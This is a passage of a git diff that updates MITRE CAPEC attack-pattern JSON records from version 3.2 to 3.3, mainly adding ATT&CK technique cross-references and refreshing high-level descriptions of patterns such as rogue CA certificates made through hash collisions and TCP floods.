"bundle--9b8ef465-d059-4c43-be6a-ee9ab01c6f26", + "id": "bundle--c7a81ec0-4083-4dcc-a639-e0a076f4fd81", "spec_version": "2.0", "objects": [ { @@ -34,7 +34,7 @@ "Medium": "The attacker must know how to make use of these smudges." }, "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1059e91f-43ff-4a00-bc74-4110979f5247.json b/capec/attack-pattern/attack-pattern--1059e91f-43ff-4a00-bc74-4110979f5247.json index 5fa0f0663f..e0b528d3d3 100644 --- a/capec/attack-pattern/attack-pattern--1059e91f-43ff-4a00-bc74-4110979f5247.json +++ b/capec/attack-pattern/attack-pattern--1059e91f-43ff-4a00-bc74-4110979f5247.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2f38aba2-58ba-4f5b-9b01-057709f4401a", + "id": "bundle--b0234237-a211-46ff-b8ae-cb51f6e4e416", "spec_version": "2.0", "objects": [ { @@ -74,7 +74,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4.json b/capec/attack-pattern/attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4.json index 727f164e79..034da4dc14 100644 --- a/capec/attack-pattern/attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4.json +++ b/capec/attack-pattern/attack-pattern--10ce28bf-9f93-4a45-a39e-6407141a34d4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1e7d4b4f-be19-45e7-8aa2-b0a2c3975f0d", + "id": "bundle--461a0911-1a75-44a8-a3ed-7f139b82235f", "spec_version": "2.0", "objects": [ { @@ -49,7 +49,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088.json b/capec/attack-pattern/attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088.json index 26a072bd1d..645b3c5bfe 100644 --- a/capec/attack-pattern/attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088.json +++ b/capec/attack-pattern/attack-pattern--11d7e0d6-5655-4fc7-aee8-e2e0fc6c5088.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b896226c-4463-4f73-8553-8ac21a55a8c7", + "id": "bundle--230981d4-9689-4189-b6ba-e6f15861a5a6", "spec_version": "2.0", "objects": [ { @@ -40,7 +40,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--123b3182-a540-4b15-ac28-0fbf607f9ebf.json b/capec/attack-pattern/attack-pattern--123b3182-a540-4b15-ac28-0fbf607f9ebf.json index 8135442421..d7d1761753 100644 --- a/capec/attack-pattern/attack-pattern--123b3182-a540-4b15-ac28-0fbf607f9ebf.json +++ b/capec/attack-pattern/attack-pattern--123b3182-a540-4b15-ac28-0fbf607f9ebf.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--30a247c8-c7c4-4875-bcad-e445c3f60857", + "id": "bundle--f41a989c-004c-4b6b-acdf-a9b29f8b9bca", "spec_version": "2.0", "objects": [ { @@ -23,7 +23,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Deprecated", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--12d80b47-8e4c-4646-bcc3-2bd7059a44e1.json b/capec/attack-pattern/attack-pattern--12d80b47-8e4c-4646-bcc3-2bd7059a44e1.json index 6d0c439108..a6a94aac7d 100644 --- a/capec/attack-pattern/attack-pattern--12d80b47-8e4c-4646-bcc3-2bd7059a44e1.json +++ b/capec/attack-pattern/attack-pattern--12d80b47-8e4c-4646-bcc3-2bd7059a44e1.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b8d60558-a2e5-4def-8008-5773353c0192", + "id": "bundle--b2eb0d0f-2b3a-4959-91ee-1982f7b1164c", "spec_version": "2.0", "objects": [ { @@ -73,7 +73,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--12de9227-495b-49b2-859f-334a20197ba3.json b/capec/attack-pattern/attack-pattern--12de9227-495b-49b2-859f-334a20197ba3.json index bdb4379d48..8a1b043014 100644 --- a/capec/attack-pattern/attack-pattern--12de9227-495b-49b2-859f-334a20197ba3.json +++ b/capec/attack-pattern/attack-pattern--12de9227-495b-49b2-859f-334a20197ba3.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5d2aea5e-4ac7-425d-b2f7-9a653851bb93", + "id": "bundle--22197eac-5479-4bd3-a044-9341bdb68dff", "spec_version": "2.0", "objects": [ { @@ -41,7 +41,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--1339dbbe-fe41-467a-b43c-7d56d22a9fe4.json b/capec/attack-pattern/attack-pattern--1339dbbe-fe41-467a-b43c-7d56d22a9fe4.json index 62bd24ae1b..4c0655fe82 100644 --- a/capec/attack-pattern/attack-pattern--1339dbbe-fe41-467a-b43c-7d56d22a9fe4.json +++ b/capec/attack-pattern/attack-pattern--1339dbbe-fe41-467a-b43c-7d56d22a9fe4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--410a17f9-d14d-4c55-a425-bc7b5ec06dc1", + "id": "bundle--14a2800f-1ae8-45b1-af6b-46e6928bf7ba", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--1339dbbe-fe41-467a-b43c-7d56d22a9fe4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Modification During Manufacture", "description": "An attacker modifies a technology, product, or component during a stage in its manufacture for the purpose of carrying out an attack against some entity involved in the supply chain lifecycle. There are an almost limitless number of ways an attacker can modify a technology when they are involved in its manufacture, as the attacker has potential inroads to the software composition, hardware design and assembly, firmware, or basic design mechanics. Additionally, manufacturing of key components is often outsourced with the final product assembled by the primary manufacturer. The greatest risk, however, is deliberate manipulation of design specifications to produce malicious hardware or devices. There are billions of transistors in a single integrated circuit and studies have shown that fewer than 10 transistors are required to create malicious functionality.", "external_references": [ @@ -17,6 +17,24 @@ "url": "https://capec.mitre.org/data/definitions/438.html", "external_id": "CAPEC-438" }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Dependencies and Development Tools", + "url": "https://attack.mitre.org/wiki/Technique/T1195/001", + "external_id": "T1195.001" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Software Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/002", + "external_id": "T1195.002" + }, + { + "source_name": "ATTACK", + "description": "Supply Chain Compromise:Compromise Hardware Supply Chain", + "url": "https://attack.mitre.org/wiki/Technique/T1195/003", + "external_id": "T1195.003" + }, { "source_name": "reference_from_CAPEC", "description": "Information Technology Laboratory, Supply Chain Risk Management (SCRM), 2010, National Institute of Standards and Technology (NIST)", @@ -43,7 +61,7 @@ ], "x_capec_abstraction": "Meta", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55.json b/capec/attack-pattern/attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55.json index 25ce6d9f55..0758de5827 100644 --- a/capec/attack-pattern/attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55.json +++ b/capec/attack-pattern/attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--5d4c48ac-e10e-46b0-9ccd-346b31e4711f", + "id": "bundle--482a2dc5-1998-42be-8a15-2168de00ffa5", "spec_version": "2.0", "objects": [ { @@ -8,9 +8,9 @@ "id": "attack-pattern--138c8405-1295-44b9-b2ed-3b4cd15c2a55", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Creating a Rogue Certification Authority Certificate", - "description": "An adversary exploits a weakness in the MD5 hash algorithm (weak collision resistance) to generate a certificate signing request (CSR) that contains collision blocks in the \"to be signed\" part. The adversary specially crafts two different, but valid X.509 certificates that when hashed with the MD5 algorithm would yield the same value. The adversary then sends the CSR for one of the certificates to the Certification Authority which uses the MD5 hashing algorithm. That request is completely valid and the Certificate Authority issues an X.509 certificate to the adversary which is signed with its private key. An adversary then takes that signed blob and inserts it into another X.509 certificate that the attacker generated. Due to the MD5 collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority. To make the attack more interesting, the second certificate could be not just a regular certificate, but rather itself a signing certificate. Thus the adversary is able to start their own Certification Authority that is anchored in its root of trust in the legitimate Certification Authority that has signed the attackers' first X.509 certificate. If the original Certificate Authority was accepted by default by browsers, so will now the Certificate Authority set up by the adversary and of course any certificates that it signs. So the adversary is now able to generate any SSL certificates to impersonate any web server, and the user's browser will not issue any warning to the victim. This can be used to compromise HTTPS communications and other types of systems where PKI and X.509 certificates may be used (e.g., VPN, IPSec).", + "description": "An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate a certificate signing request (CSR) that contains collision blocks in the \"to be signed\" part. The adversary specially crafts two different, but valid X.509 certificates that when hashed with a non-collision resistant hashing algorithm would yield the same value. The adversary then sends the CSR for one of the certificates to the Certification Authority which uses the targeted hashing algorithm. That request is completely valid and the Certificate Authority issues an X.509 certificate to the adversary which is signed with its private key. An adversary then takes that signed blob and inserts it into another X.509 certificate that the attacker generated. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority. To make the attack more interesting, the second certificate could be not just a regular certificate, but rather itself a signing certificate. Thus the adversary is able to start their own Certification Authority that is anchored in its root of trust in the legitimate Certification Authority that has signed the attacker's first X.509 certificate. If the original Certificate Authority was accepted by default by browsers, so will the Certificate Authority set up by the adversary and of course any certificates that it signs. So the adversary is now able to generate any SSL certificates to impersonate any web server, and the user's browser will not issue any warning to the victim. This can be used to compromise HTTPS communications and other types of systems where PKI and X.509 certificates may be used (e.g., VPN, IPSec).", "external_references": [ { "source_name": "capec", @@ -32,27 +32,57 @@ "url": "http://cwe.mitre.org/data/definitions/290.html", "external_id": "CWE-290" }, + { + "source_name": "ATTACK", + "description": "Subvert Trust Controls:Install Root Certificate", + "url": "https://attack.mitre.org/wiki/Technique/T1553/004", + "external_id": "T1553.004" + }, { "source_name": "reference_from_CAPEC", "description": "Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger, MD5 Considered Harmful Today: Creating a Rogue CA Certificate, 2008--12---30, Phreedom.org", "url": "http://www.phreedom.org/research/rogue-ca/", "external_id": "REF-395" + }, + { + "source_name": "reference_from_CAPEC", + "description": "Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger, MD5 considered harmful today, 2009--12", + "url": "https://www.win.tue.nl/hashclash/rogue-ca/#Ref", + "external_id": "REF-587" } ], "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "x_capec_abstraction": "Detailed", + "x_capec_consequences": { + "Access_Control": [ + "Gain Privileges" + ], + "Authentication": [ + "Gain Privileges" + ] + }, + "x_capec_example_instances": [ + "\n MD5 Collisions\n The MD5 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.See also: CVE-2004-2761", + "\n SHA1 Collisions\n The SHA1 algorithm is not collision resistant, allowing attackers to use spoofing attacks to create rogue certificate Authorities.See also: CVE-2005-4900", + "\n PKI Infrastructure vulnerabilities\n Research has show significant vulnerabilities in PKI infrastructure. Trusted certificate authorities have been shown to use weak hashing algorithms after attacks have been demonstrated against those algorithms. Additionally, reliable methods have been demonstrated for generated MD5 collisions that could be used to generate malicious CSRs.\n " + ], + "x_capec_likelihood_of_attack": "Medium", "x_capec_prerequisites": [ - "Certification Authority is using the MD5 hash function to generate the certificate hash to be signed" + "Certification Authority is using a hash function with insufficient collision resistance to generate the certificate hash to be signed" + ], + "x_capec_resources_required": [ + "Knowledge of a certificate authority that uses hashing algorithms with poor collision resistance", + "A valid certificate request and a malicious certificate request with identical hash values" ], "x_capec_skills_required": { - "High": "An attacker must be able to craft two X.509 certificates that produce the same MD5 hash", + "High": "An attacker must be able to craft two X.509 certificates that produce the same hash value", "Medium": "Knowledge needed to set up a certification authority" }, "x_capec_status": "Draft", "x_capec_typical_severity": "Very High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--13b94aaa-9c95-487c-ad68-8c29d8ac0068.json b/capec/attack-pattern/attack-pattern--13b94aaa-9c95-487c-ad68-8c29d8ac0068.json index c7aea29335..007a93f38e 100644 --- a/capec/attack-pattern/attack-pattern--13b94aaa-9c95-487c-ad68-8c29d8ac0068.json +++ b/capec/attack-pattern/attack-pattern--13b94aaa-9c95-487c-ad68-8c29d8ac0068.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--4ca02a6b-aa60-42bd-a7bc-576d2fd70d27", + "id": "bundle--ccd03264-cdc7-4672-915a-62f083b0ffcd", "spec_version": "2.0", "objects": [ { @@ -38,7 +38,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--13d1d169-0023-41e2-952f-7d794844733b.json b/capec/attack-pattern/attack-pattern--13d1d169-0023-41e2-952f-7d794844733b.json index e61329f14e..bd9eaddc46 100644 --- a/capec/attack-pattern/attack-pattern--13d1d169-0023-41e2-952f-7d794844733b.json +++ b/capec/attack-pattern/attack-pattern--13d1d169-0023-41e2-952f-7d794844733b.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--ccfd3779-69a4-40a2-be70-ebc86083d716", + "id": "bundle--8a9ce915-cf0d-418c-9ffb-1986601ff7ef", "spec_version": "2.0", "objects": [ { @@ -46,7 +46,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc.json b/capec/attack-pattern/attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc.json index 7ce3813b86..3f29883dbc 100644 --- a/capec/attack-pattern/attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc.json +++ b/capec/attack-pattern/attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--d7c2975b-595d-434f-8365-2a8d43ed0fa7", + "id": "bundle--ca81cd94-97b9-4563-b2a2-ae2689e5b981", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--13e147c3-7baa-4ec4-aafd-9135d46545cc", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2015-11-09T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Modify Existing Service", "description": "When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.", "external_references": [ @@ -26,6 +26,36 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/522.html", "external_id": "CWE-522" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Systemd Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/002", + "external_id": "T1543.002" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Windows Service", + "url": "https://attack.mitre.org/wiki/Technique/T1543/003", + "external_id": "T1543.003" + }, + { + "source_name": "ATTACK", + "description": "Create or Modify System Process:Launch Daemon", + "url": "https://attack.mitre.org/wiki/Technique/T1543/004", + "external_id": "T1543.004" + }, + { + "source_name": "ATTACK", + "description": "System Services:Launchctl", + "url": "https://attack.mitre.org/wiki/Technique/T1569/001", + "external_id": "T1569.001" + }, + { + "source_name": "ATTACK", + "description": "System Services:Service Execution", + "url": "https://attack.mitre.org/wiki/Technique/T1569/002", + "external_id": "T1569.002" } ], "object_marking_refs": [ @@ -33,7 +63,7 @@ ], "x_capec_abstraction": "Detailed", "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7.json b/capec/attack-pattern/attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7.json index ece712ad23..f15f4528a5 100644 --- a/capec/attack-pattern/attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7.json +++ b/capec/attack-pattern/attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--9eb608d6-e404-4d8c-9a44-d64605e67f63", + "id": "bundle--b85333a9-2d83-44e8-a75e-d7f93ad0e17a", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--140142cc-28cb-4506-bce6-b44128b7b9a7", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-07-31T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Collect Data from Screen Capture", "description": "An adversary gathers sensitive information by exploiting the system's screen capture functionality. Through screenshots, the adversary aims to see what happens on the screen over the course of an operation. The adversary can leverage information gathered in order to carry out further attacks.", "external_references": [ @@ -21,6 +21,12 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/267.html", "external_id": "CWE-267" + }, + { + "source_name": "ATTACK", + "description": "Screen Capture", + "url": "https://attack.mitre.org/wiki/Technique/T1113", + "external_id": "T1113" } ], "object_marking_refs": [ @@ -44,7 +50,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--151ca16b-5acc-45db-bde8-19d204542a54.json b/capec/attack-pattern/attack-pattern--151ca16b-5acc-45db-bde8-19d204542a54.json index de37c8627a..20e72cc6e1 100644 --- a/capec/attack-pattern/attack-pattern--151ca16b-5acc-45db-bde8-19d204542a54.json +++ b/capec/attack-pattern/attack-pattern--151ca16b-5acc-45db-bde8-19d204542a54.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--394e5612-6bf2-4297-bcd3-d467b51f5f1e", + "id": "bundle--0de78195-7ce8-430b-ba5d-5c7d93ffdc5c", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--151ca16b-5acc-45db-bde8-19d204542a54", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-09-30T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Force the System to Reset Values", "description": "An attacker forces the target into a previous state in order to leverage potential weaknesses in the target dependent upon a prior configuration or state-dependent factors. Even in cases where an attacker may not be able to directly control the configuration of the targeted application, they may be able to reset the configuration to a prior state since many applications implement reset functions. Since these functions are usually intended as emergency features to return an application to a stable configuration if the current configuration degrades functionality, they may not be as strongly secured as other configuration options. The resetting of values is dangerous as it may enable undesired functionality, disable services, or modify access controls. At the very least this is a nuisance attack since the administrator will need to re-apply their configuration. At worst, this attack can open avenues for powerful attacks against the application, and, if it isn't obvious that the configuration has been reset, these vulnerabilities may be present a long time before they are notices.", "external_references": [ @@ -21,6 +21,11 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/306.html", "external_id": "CWE-306" + }, + { + "source_name": "cwe", + "url": "http://cwe.mitre.org/data/definitions/1232.html", + "external_id": "CWE-1232" } ], "object_marking_refs": [ @@ -36,7 +41,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--158c1c58-9c44-4822-a8a4-6cb791c5b3cb.json b/capec/attack-pattern/attack-pattern--158c1c58-9c44-4822-a8a4-6cb791c5b3cb.json index 705658c849..7329f3cbc9 100644 --- a/capec/attack-pattern/attack-pattern--158c1c58-9c44-4822-a8a4-6cb791c5b3cb.json +++ b/capec/attack-pattern/attack-pattern--158c1c58-9c44-4822-a8a4-6cb791c5b3cb.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--2f604e31-9688-49d1-b18f-8dd0ff211c24", + "id": "bundle--591a67ba-ccf7-4ac7-bf34-92b4cd9fc393", "spec_version": "2.0", "objects": [ { @@ -35,7 +35,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "Medium", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de.json b/capec/attack-pattern/attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de.json index 1875a203b0..2952b2adc8 100644 --- a/capec/attack-pattern/attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de.json +++ b/capec/attack-pattern/attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--1d16ef81-f101-48ed-9677-382c83180eea", + "id": "bundle--a47cd2ad-e95d-49de-9cf2-c443fcd40bf4", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--15e6b769-4cbd-4c39-b774-b45673fd55de", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2018-05-31T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "Replace Binaries", "description": "Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.", "external_references": [ @@ -21,6 +21,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/732.html", "external_id": "CWE-732" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Executable Installer File Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/005", + "external_id": "T1574.005" + }, + { + "source_name": "ATTACK", + "description": "Hijack Execution Flow:Service File Permissions Weakness", + "url": "https://attack.mitre.org/wiki/Technique/T1574/010", + "external_id": "T1574.010" } ], "object_marking_refs": [ @@ -36,7 +48,7 @@ ], "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12.json b/capec/attack-pattern/attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12.json index 1980ff45a5..97f20ac608 100644 --- a/capec/attack-pattern/attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12.json +++ b/capec/attack-pattern/attack-pattern--165b75a3-3e50-492c-8f1a-af979dc5af12.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--31671666-eb8c-472d-acde-b389a062bde4", + "id": "bundle--1005a6a5-f870-47a5-b920-fe80fe1b7a0c", "spec_version": "2.0", "objects": [ { @@ -48,6 +48,7 @@ "A WSDL interface may expose a function vulnerable to SQL Injection.", "\n The Web Services Description Language (WSDL) allows a web service to advertise its capabilities by describing operations and parameters needed to access the service. As discussed in step 5 of this series, WSDL is often generated automatically, using utilities such as Java2WSDL, which takes a class or interface and builds a WSDL file in which interface methods are exposed as web services.\n Because WSDL generation often is automated, enterprising adversaries can use WSDL to gain insight into the both public and private services. For example, an organization converting legacy application functionality to a web services framework may inadvertently pass interfaces not intended for public consumption to a WSDL generation tool. The result will be SOAP interfaces that give access to private methods.\n Another, more subtle WSDL attack occurs when an enterprising attacker uses naming conventions to guess the names of unpublished methods that may be available on the server. For example, a service that offers a stock quote and trading service may publish query methods such as requestStockQuote in its WSDL. However, similar unpublished methods may be available on the server but not listed in the WSDL, such as executeStockQuote. A persistent adversary with time and a library of words and phrases can cycle thru common naming conventions (get, set, update, modify, and so on) to discover unpublished application programming interfaces that open doors into private data and functionality.\n Source : \"Seven Steps to XML Mastery, Step 7: Ensure XML Security\", Frank Coyle. See reference section.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. The first step is exploratory meaning the attacker scans for WSDL documents. The WDSL document written in XML is like a handbook on how to communicate with the web services provided by the target host. It provides an open view of the application (function details, purpose, functional break down, entry points, message types, etc.). This is very useful information for the attacker.

Experiment

  1. The second step that an attacker would undertake is to analyze the WSDL files and try to find potential weaknesses by sending messages matching the pattern described in the WSDL file. The attacker could run through all of the operations with different message request patterns until a breach is identified.

Exploit

  1. Once an attacker finds a potential weakness, they can craft malicious content to be sent to the system. For instance the attacker may try to submit special characters and observe how the system reacts to an invalid request. The message sent by the attacker may not be XML validated and cause unexpected behavior.

", "x_capec_likelihood_of_attack": "High", "x_capec_prerequisites": [ "A client program connecting to a web service can read the WSDL to determine what functions are available on the server.", @@ -59,7 +60,7 @@ }, "x_capec_status": "Draft", "x_capec_typical_severity": "High", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--16a18e0c-676c-4fac-89c7-6a7ab96666f4.json b/capec/attack-pattern/attack-pattern--16a18e0c-676c-4fac-89c7-6a7ab96666f4.json index 117557a3a9..0e32992182 100644 --- a/capec/attack-pattern/attack-pattern--16a18e0c-676c-4fac-89c7-6a7ab96666f4.json +++ b/capec/attack-pattern/attack-pattern--16a18e0c-676c-4fac-89c7-6a7ab96666f4.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--55eaa780-1fbe-406d-bafb-9c6a51b85515", + "id": "bundle--28b4b281-1499-4770-9e26-e5baea08a334", "spec_version": "2.0", "objects": [ { @@ -75,7 +75,7 @@ ], "x_capec_status": "Stable", "x_capec_typical_severity": "Low", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--172e2289-333b-4796-9afd-94140c9480e8.json b/capec/attack-pattern/attack-pattern--172e2289-333b-4796-9afd-94140c9480e8.json index 10d24ca69b..58e85ddb50 100644 --- a/capec/attack-pattern/attack-pattern--172e2289-333b-4796-9afd-94140c9480e8.json +++ b/capec/attack-pattern/attack-pattern--172e2289-333b-4796-9afd-94140c9480e8.json @@ -1,6 +1,6 @@ { "type": "bundle", - "id": "bundle--b6dda945-272c-49b4-9507-3016b0072c68", + "id": "bundle--579f2dac-d494-4233-963b-a456d4b87b98", "spec_version": "2.0", "objects": [ { @@ -8,7 +8,7 @@ "id": "attack-pattern--172e2289-333b-4796-9afd-94140c9480e8", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "TCP Flood", "description": "An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain.", "external_references": [ @@ -21,6 +21,18 @@ "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/770.html", "external_id": "CWE-770" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:OS Exhaustion Flood", + "url": "https://attack.mitre.org/wiki/Technique/T1499/001", + "external_id": "T1499.001" + }, + { + "source_name": "ATTACK", + "description": "Endpoint Denial of Service:Application or System Exploitation", + "url": "https://attack.mitre.org/wiki/Technique/T1499/004", + "external_id": "T1499.004" } ], "object_marking_refs": [ @@ -31,7 +43,7 @@ "This type of an attack requires the ability to generate a large amount of TCP traffic to send to the target port of a functioning server." ], "x_capec_status": "Draft", - "x_capec_version": "3.2" + "x_capec_version": "3.3" } ] } \ No newline at end of file diff --git a/capec/attack-pattern/attack-pattern--17593c9a-d8a0-4ef3-8da1-9d948426bbb8.json b/capec/attack-pattern/attack-pattern--17593c9a-d8a0-4ef3-8da1-9d948426bbb8.json index 3e71b651d4..47c7d0325d 100644 --- 